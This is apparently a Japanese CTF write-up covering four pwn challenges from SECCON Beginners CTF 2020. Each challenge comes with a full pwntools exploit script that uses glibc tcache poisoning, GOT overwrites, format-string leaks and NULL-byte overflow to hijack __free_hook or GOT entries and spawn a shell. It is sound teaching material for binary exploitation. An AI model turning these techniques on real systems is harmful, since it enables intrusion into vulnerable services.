イントロ
いつぞや開催されたSECCON Beginners CTF 2020。 競技中はあまり関与せず、molec0n CTFを眺めたり(眺めるだけ)、 課題レポートをやったりしていましたが、終了後に全て解きました。 折角なので writeup を供養します。
Beginner’s Heap
めちゃめちゃ良い教材だと思います、1 年前に出会いたかった…。
libc2.29 における tcache の問題。 指示されたとおりにやっていれば flag が貰えるようになっている。
exploit.py 1#!/usr/bin/env python
2#encoding: utf-8;
3
4from pwn import *
5import sys
6
7
8rhp1 = {'host':"bh.quals.beginners.seccon.jp",'port':9002} #for actual server
9rhp2 = {'host':"localhost",'port':12300} #for localhost
10rhp3 = {'host':"",'port':23947} #for localhost running on docker
11context(os='linux',arch='amd64')
12
13def exploit(conn):
14 conn.recvuntil("free_hook>: ")
15 freehook = int(conn.recvline().rstrip(),16)
16 conn.recvuntil("win>: ")
17 win = int(conn.recvline().rstrip(),16)
18 conn.recvuntil("hint")
19
20 print("win: "+hex(win))
21 print("freehook: "+hex(freehook))
22
23 conn.recvuntil("> ")
24 conn.sendline("2")
25 conn.sendline("A"*8)
26
27 conn.recvuntil("> ")
28 conn.sendline("3")
29
30 conn.recvuntil("> ")
31 conn.sendline("1")
32 conn.send("A"*0x3*0x8 + p64(0x21) + p64(freehook))
33
34 conn.recvuntil("> ")
35 conn.sendline("2")
36 conn.sendline("hoge")
37
38 conn.recvuntil("> ")
39 conn.sendline("1")
40 conn.send("A"*0x18 + p64(0x31))
41
42 conn.recvuntil("> ")
43 conn.sendline("3")
44
45 conn.recvuntil("> ")
46 conn.sendline("2")
47 conn.send(p64(win))
48
49 conn.recvuntil("> ")
50 conn.sendline("3")
51
52if len(sys.argv)>1:
53 if sys.argv[1][0]=="d":
54 cmd = """
55 set follow-fork-mode parent
56 """
57 conn = gdb.debug(FILENAME,cmd)
58 elif sys.argv[1][0]=="r":
59 conn = remote(rhp1["host"],rhp1["port"])
60 elif sys.argv[1][0]=="v":
61 conn = remote(rhp3["host"],rhp3["port"])
62else:
63 conn = remote(rhp2['host'],rhp2['port'])
64exploit(conn)
65conn.interactive()
Elementary Stack
自明な OOB があり heap へのポインタを書換えて GOT overwrite。
got[atol]
を直接書き換えると引数も渡せないし、そもそも次のatol()
で死ぬため
1 個上のgot[malloc]
を書き換える。
あとは FSA で libcbase を leak して終わり
1#!/usr/bin/env python
2#encoding: utf-8;
3
4from pwn import *
5import sys
6
7FILENAME = "chall"
8
9rhp1 = {'host':"es.quals.beginners.seccon.jp",'port':9003} #for actual server
10rhp2 = {'host':"localhost",'port':12800} #for localhost
11rhp3 = {'host':"",'port':23947} #for localhost running on docker
12context(os='linux',arch='amd64')
13binf = ELF(FILENAME)
14libc = ELF("./libc-2.27.so")
15
16def hoge(conn,ix,val):
17 conn.recvuntil("index: ")
18 conn.sendline(str(ix))
19 conn.recvuntil("value: ")
20 conn.sendline(str(val))
21
22
23def fuga(conn,ix,val,piyo=True):
24 conn.recvuntil("index: ")
25 conn.send(ix)
26 if piyo:
27 conn.recvuntil("value: ")
28 conn.send(val)
29
30off_system = 0x4f440
31
32def exploit(conn):
33 hoge(conn,-2,binf.got["malloc"]) # bufferをgot:mallocに向ける(使用するgotに向けるとそいつが呼び出せなくなるから注意)
34 fuga(conn,p64(0xaaaa)+p64(binf.plt["printf"]),"%25$p\n") # atolをprintfにしたあと、atol("%25$p")でlibcbase leak
35
36 libcbase = int(conn.recvline(),16) - 0x21b97
37
38 fuga(conn,p64(0xaaaa)+p64(libcbase + off_system), "/bin/sh\0")
39
40if len(sys.argv)>1:
41 if sys.argv[1][0]=="d":
42 cmd = """
43 set follow-fork-mode parent
44 """
45 conn = gdb.debug(FILENAME,cmd)
46 elif sys.argv[1][0]=="r":
47 conn = remote(rhp1["host"],rhp1["port"])
48 elif sys.argv[1][0]=="v":
49 conn = remote(rhp3["host"],rhp3["port"])
50else:
51 conn = remote(rhp2['host'],rhp2['port'])
52exploit(conn)
53conn.interactive()
ChildHeap
- double free 可能(libc2.29 だから死ぬけど)
- 任意 size の malloc 可能
- ユーザ側で保持できる chunk は一つ
- NULL overflow
- chunk を
free()
するか float 状態にさせておくかは自由
libc 2.29 の誘導なし heap 問。
但しやることは突飛なことはないが、chunk が一つしか保持できないため若干面倒。
まず NULL overflow を利用して tcache の size を0x100
に変えていきtcache[0x100]
を溢れさせる。
その途中で tcache のfd
を読んで heapbase を leak しておく。
あとはいい感じに chunk forge して back consolidation で overlapped chunk を作って
libcbase leak と freehook overwrite をする。
ここらへんは正直メモリを眺めながら何となくで exploit を書いていればできるため、上手く説明のしようがないが。
このあとの exploit でにおいて 「Fig.x」としてある状態のヒープのイメージ図を以下に用意した:
exploit.py
1#!/usr/bin/env python
2#encoding: utf-8;
3
4from pwn import *
5import sys
6
7FILENAME = "./childheap"
8
9rhp1 = {'host':"childheap.quals.beginners.seccon.jp",'port':22476} #for actual server
10rhp2 = {'host':"localhost",'port':12500} #for localhost
11rhp3 = {'host':"localhost",'port':23947} #for localhost running on docker
12context(os='linux',arch='amd64')
13binf = ELF(FILENAME)
14libc = ELF("./libc-2.29.so")
15
16ogs = [0xe237f,0xe2383,0xe2386,0x106ef8]
17
18def hoge(conn,ix):
19 conn.recvuntil("> ")
20 conn.sendline(str(ix))
21
22def alloc(conn,size,content):
23 hoge(conn,1)
24 conn.recvuntil("Size: ")
25 conn.sendline(str(size))
26 conn.recvuntil("Content: ")
27 conn.send(content)
28
29def delete(conn,yesno=True):
30 hoge(conn,2)
31 conn.recvuntil("Content: '")
32 data = conn.recvuntil("'")[:-1]
33 conn.recvuntil("] ")
34 if yesno:
35 conn.sendline("y")
36 else:
37 conn.sendline("n")
38 return data
39
40def wipe(conn):
41 hoge(conn,3)
42
43def de(conn):
44 delete(conn)
45 wipe(conn)
46
47def ade(conn,size,overflow=False):
48 a = "A"*size if overflow else "A"*(size-0x8)
49 alloc(conn,size,a)
50 de(conn)
51
52def aw(conn,size,overflow=False): # without delete
53 a = "A"*size if overflow else "A"*(size-0x8)
54 alloc(conn,size,a)
55 wipe(conn)
56
57off_libc = 0x1e4e90
58off_freehook = 0x1e75a8
59off_system = 0x52fd0
60
61def exploit(conn):
62 ssize = 0x18#0x28
63 msize = 0xf8
64 lsize = 0x108#0x128
65
66 ## fulfill tcache
67 ade(conn,msize)
68 for i in range(0x5):
69 ade(conn,ssize)
70 ade(conn,lsize)
71 aw(conn,ssize,True)
72 ade(conn,lsize)
73 # now tcache has 6 chunks, 5 of them have fake size
74
75 ## leak heap addr
76 alloc(conn,msize,"A"*8)
77 delete(conn)
78 heapbase = unpack(delete(conn,False).ljust(8,'\x00'))-0x710
79 print("heapbase: "+hex(heapbase))
80 wipe(conn)
81
82
83 ## forge fake chunk
84 fake1 = "B" * 0x30
85 fake1 += p64(heapbase + 0x9b0) + p64(heapbase + 0x9b0)
86 fake2 = p64(0) + p64(0x100)
87 fake2 += p64(heapbase + 0x990) + p64(heapbase + 0x990)
88 ade(conn,ssize)
89 ade(conn,lsize)
90 aw(conn,ssize,True)
91 alloc(conn,lsize,fake1+fake2)
92 de(conn)
93 print("Fig.1")
94 # tcache[0x100] is full
95
96 ade(conn,ssize+0x20)
97 ade(conn,lsize)
98 alloc(conn,ssize+0x10,(p64(0)+p64(ssize+0x8+1))*2)
99 wipe(conn)
100 alloc(conn,ssize+0x20,"C"*(ssize-0x8+0x20)+p64(0x100)) # null overflow
101 de(conn)
102 print("Fig.2")
103
104 alloc(conn,lsize,(p64(0)+p64(0x21))*0x10)
105 print("Fig.3")
106 de(conn) # consolidate
107 print("Fig.4")
108
109 ## leak libcbase
110 alloc(conn,0,"")
111 libcbase = unpack(delete(conn,False).ljust(8,'\x00')) - off_libc
112 print("libcbase: "+hex(libcbase))
113 de(conn)
114
115 ##
116 print("free_hook: "+hex(libcbase+off_freehook))
117 inj = "D"*0xa0
118 inj += p64(libcbase + off_freehook)
119 inj += p64(heapbase + 0x10)
120 alloc(conn,0x128,inj) # overwrite tcache[ssize+0x20]'s fd
121 wipe(conn)
122 alloc(conn,ssize+0x20,"G"*8) #
123 wipe(conn)
124 alloc(conn,ssize+0x20,p64(libcbase + off_system)) # overwrite free_hook
125 wipe(conn)
126
127 alloc(conn,0x70,"/bin/sh\x00")
128 delete(conn,True)
129
130
131
132if len(sys.argv)>1:
133 if sys.argv[1][0]=="d":
134 cmd = """
135 set follow-fork-mode parent
136 """
137 conn = gdb.debug(FILENAME,cmd)
138 elif sys.argv[1][0]=="r":
139 conn = remote(rhp1["host"],rhp1["port"])
140 elif sys.argv[1][0]=="v":
141 conn = remote(rhp3["host"],rhp3["port"])
142else:
143 conn = remote(rhp2['host'],rhp2['port'])
144exploit(conn)
145conn.interactive()
flip
一番難しかった。 終わってみれば若干の工夫こそ必要なもののやったことは複雑じゃないのに。 何故か解くまでにめちゃくちゃ時間がかかった。 というか GOT 問が苦手なのかもしれない。
- GOT overwrite (
setbuf->puts
) - 相対書換え
got[_stack_chk_fail]
とgot[exit]
の書換えを上手く使いわけて、
setbuf
が呼ばれるループ・呼ばれないループを作り上げる。
なお終盤までflip
操作を暗算で行おうとしていたため、脳が死亡した。
1#!/usr/bin/env python
2#encoding: utf-8;
3
4from pwn import *
5import sys
6
7FILENAME = "flip"
8
9rhp1 = {'host':"flip.quals.beginners.seccon.jp",'port':17539} #for actual server
10rhp2 = {'host':"localhost",'port':12500} #for localhost
11rhp3 = {'host':"",'port':23947} #for localhost running on docker
12context(os='linux',arch='amd64')
13binf = ELF(FILENAME)
14libc = ELF("./libc-2.27.so")
15
16ogs = [0x4f2c5,0x4f322,0x10a38c]
17
18def hoge(conn,target,n1,n2):
19 conn.recvuntil(">> ")
20 conn.sendline(str(target))
21 conn.recvuntil(">> ")
22 conn.sendline(str(n1))
23 conn.recvuntil(">> ")
24 conn.sendline(str(n2))
25
26def fuga(conn,target,_from,_to):
27 diff = _from ^ _to
28 nums = []
29 tmp = -10
30 for i,c in enumerate(bin(diff)[2:][::-1]):
31 if c=='1':
32 nums = nums + [i]
33 print(nums)
34
35 while len(nums)>0:
36 n1 = nums[0]
37 nums = nums[1:]
38 if len(nums) == 0:
39 n2 = tmp
40 else:
41 n2 = nums[0]
42 nums = nums[1:]
43
44 if n2 != tmp:
45 if n1//8 != n2//8:
46 nums = [n2] + nums
47 n2 = tmp
48 #print("{} {} {}".format(n1//8,n1%8,n2))
49 hoge(conn,target+(n1//8),n1%8,n2)
50 else:
51 #print("{} {} {}".format(n1//8,n1%8,n2%8))
52 hoge(conn,target+(n1//8),n1%8,n2%8)
53 else:
54 #print("{} {} {}".format(n1//8,n1%8,n2))
55 hoge(conn,target+(n1//8),n1%8,n2)
56
57
58
59def exploit(conn):
60 #got exit を start に
61 hoge(conn,binf.got["exit"],4,5) # got_exit into start+6
62 hoge(conn,binf.got["exit"],1,2) # got_exit into start
63
64 ## start loop
65 # stack_chk_fail into main
66 fuga(conn,binf.got["__stack_chk_fail"],0x0676,0x07fa)
67 # got[exit] to plt[stack_chk_fail]
68 fuga(conn,binf.got["exit"],0x06e0,0x0670)
69
70 ## main loop
71 # got[setbuf] into puts
72 fuga(conn,binf.got["setbuf"],0xf04d0,0xe89c0)
73 # got[exit] into start
74 fuga(conn,binf.got["exit"],0x70,0xe0)
75
76 ## start loop
77 # stderr into stderr+0x8
78 fuga(conn,binf.symbols["stderr"],0x80,0x88)
79 conn.recvuntil("Done!\n")
80 conn.recvuntil("\n")
81 libcbase = unpack(conn.recvuntil("\nI")[:-2].ljust(8,'\x00')) - 0x3ec703
82 print("[+] libcbase: "+hex(libcbase))
83
84################# 以降自由な世界 運が必要ないって素晴らしい ##################
85
86 # got[exit] into plt[stack_chk_fail]+6
87 hoge(conn,binf.got["exit"],4,7)
88 # got[setbuf] into system
89 fuga(conn,binf.got["setbuf"],libcbase + libc.symbols["puts"], libcbase + libc.symbols["system"])
90 # stderr->flag into /bin/sh\x00
91 fuga(conn,libcbase + libc.symbols["_IO_2_1_stderr_"],0xfbad2087,unpack("/bin/sh\x00"))
92 # stderr into stderr
93 fuga(conn,binf.symbols["stderr"],libcbase + libc.symbols["_IO_2_1_stderr_"]+8,libcbase + libc.symbols["_IO_2_1_stderr_"])
94
95 # got[stack_chk_fail] into start
96 fuga(conn,binf.got["exit"],binf.plt["__stack_chk_fail"],binf.symbols["_start"])
97
98if len(sys.argv)>1:
99 if sys.argv[1][0]=="d":
100 cmd = """
101 set follow-fork-mode parent
102 """
103 conn = gdb.debug(FILENAME,cmd)
104 elif sys.argv[1][0]=="r":
105 conn = remote(rhp1["host"],rhp1["port"])
106 elif sys.argv[1][0]=="v":
107 conn = remote(rhp3["host"],rhp3["port"])
108else:
109 conn = remote(rhp2['host'],rhp2['port'])
110exploit(conn)
111conn.interactive()
アウトロ
ルクセンブルクって
ル・クセンブルクなのか
ルクセンブル・クなのか分からないし、
ルクセンブルク大統領に至っては
ル・クセンブルク大統・領なのか
ル・クセンブル・ク大・統領なのかわかんないよな……..